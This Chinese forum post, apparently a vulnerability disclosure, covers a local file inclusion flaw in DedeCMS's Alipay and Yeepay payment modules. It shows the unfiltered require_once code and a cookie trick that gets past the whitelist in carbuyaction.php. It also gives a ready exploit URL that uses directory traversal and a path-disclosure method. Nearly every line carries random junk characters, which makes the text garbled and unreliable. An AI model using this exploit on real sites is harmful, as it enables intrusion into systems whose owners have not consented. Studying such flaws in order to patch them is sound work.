晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
/ N; z4 R7 l8 j% [$ ^9 M/ I2 f+ v- M6 E( u8 k; u
出现漏洞的两个文件为:9 c; Y" R8 A% x5 b. y8 R b
Include/payment/alipay.php
8 J* G7 d5 W& s6 _Include/payment/yeepay.php4 b# x' y" }; V Y t0 D3 H0 `
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
2 L0 a8 I& a) o/ t _ `, A- i) P' `. x3 w6 |7 k
Include/payment/alipay.php/ r2 a3 t+ ~" c) M0 h% I
/ p, R4 ?5 v. \- w/ O; v
......
4 y1 U4 y" [3 @ |8 x% \ function respond()
# c# l; C2 k# T8 {- C" U0 E( F {$ L# p: ^3 {( |0 h9 u$ F. X
if (!empty($_POST))
) ]; _) n T( l9 u3 T+ a {* [1 Q% y7 R+ O/ j- c/ D% Q* N7 F
foreach($_POST as $key => $data)
) j* a9 ~+ d) \ ` q- I {0 ]( y V6 ^# H
$_GET[$key] = $data;2 n- e7 H! X- R, t5 P K) v
} Q: o% W% G6 a, k$ \0 f- d: H9 Q( |
}* `4 `! C- d- N/ b' j
/* 引入配置文件 */
! \$ X2 z. {& \ require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
2 w' [9 w5 @. Q0 c......
$ ]; ?" C8 q1 K1 U& Q0 Y! g
4 k: y P; e% b. s; j
2 ^' I) {( i4 M: o$ C: b大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
5 O1 Y. j; @6 {) {% y9 r5 D$ u) F* Z) U% r0 Q ~
Include/payment/yeepay.php
3 ^1 W2 g+ r5 ]; [: X# B: }* P0 [7 v# K5 C+ e1 T
1 T$ H8 s8 ?1 d; ^. K/ ?: ^5 d" I; `
......8 Z: b: }- ^( x- ^7 _: A1 [
function respond()9 [) J3 R/ v8 O9 S) }* c
{ s' j- O) W0 b" o- P4 z# k" P
( p/ O# t9 T9 e% ~* l
/* 引入配置文件 */, \. V: ?3 R' V/ M" U. I0 t5 [
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
( }6 L/ o$ _2 A9 {
2 v* G8 [# O2 Q8 p $p1_MerId = trim($payment['yp_account']);
$ j7 I4 @8 k1 F. M5 o $merchantKey = trim($payment['yp_key']);- m' b3 m; x! [% V6 W$ v, o, a; v( x
...... # @3 k* A1 e% F$ {5 |: {' s
$ y. ~# |9 O/ o' {# W
; h. M( T0 p) }# J
4 q( v- S+ }; N
, W+ F' ^: f$ X( _( F/ s
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
( C8 f& q7 F( S' K" S3 j2 [# o, }* X- s9 C# e$ d
这两个方法在plus/carbuyaction.php文件调用。( j. \ d7 k% G( S' s5 u6 k. ^9 E3 K' `( h
2 C( ^1 P0 S. K
plus/carbuyaction.php& F# U, X! B9 S
$ d1 M/ [0 s. I* N- y1 y" J
......
; ^9 J- z# B" j4 J" A. r6 @ V} else if ($dopost == 'return') {( C, _& _; U+ N( ^+ ?+ t
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
. ?( z, C& j) Y! H2 f if (in_array($code, $write_list))7 p2 p ^5 Q1 G% h7 M( }. I9 O
{8 d, }) F7 @) K
require_once DEDEINC.'/payment/'.$code.'.php';
) W4 m- U5 b8 v $pay = new $code;9 f& g* e+ u J1 v
$msg=$pay->respond();
k8 |9 T- L" H, i2 s2 q' | ShowMsg($msg, "javascript:;", 0, 3000);
! Z6 z, ]9 @) s3 j exit(); 7 G9 a/ O; C5 k, h* k
} else {% m: h- ?% b4 K% g! e$ _% F" W
exit('Error:File Type Can\'t Recognized!');# N: J- ?! ~- ?$ _/ t; b
}. r/ ?$ s; e/ b. r7 G# ^
}
$ [0 O. R* {/ X$ S" ?......
- i1 c7 w$ A: l) V+ Q7 E; \
4 C! {& ~( h3 {; Q+ ?2 k; Z; R, v/ P; F& w$ w/ v! L1 l+ C
0 A! E2 B7 T6 K: ]; o0 Z; m
- d; b! F, Q- o7 @; z, f 8 [& S' d+ Q' P% _3 L& w$ l
+ t& d+ v2 A: o大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 i% i' _. v9 \1 J' U% m. ^/ ?2 L
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。* ~/ N* _# t' Z6 n
! R7 h6 s. I" ]
回到include/common.inc.php来看看他的机制。
, I& y1 {( U3 x, d, y2 s; }+ R: e" V2 n+ c1 b7 P9 }
% X, M0 b" M; k) b$ @' E
1 f+ E2 G+ S6 T( @7 o....... N/ d1 O1 G9 d7 z: U
foreach(Array('_GET','_POST','_COOKIE') as $_request)
: h9 L3 A( R% V{
! ^8 X! x m! J) L( S foreach($$_request as $_k => $_v) 4 W: R1 Z; f2 u4 P1 f
{5 \5 B9 m; p5 o& A7 g+ `+ n
if($_k == 'nvarname') ${$_k} = $_v;( W8 m. l/ d7 M7 O% ?! z
else ${$_k} = _RunMagicQuotes($_v);1 H; c0 S j i" K- d* n
}, c( j# R" o3 D8 w! }) X
}- h0 ]6 {7 X# X' I
......
" X4 v5 Y6 ^; u- j J9 N大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
! b( P3 D3 G. X' | n8 p1 O由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |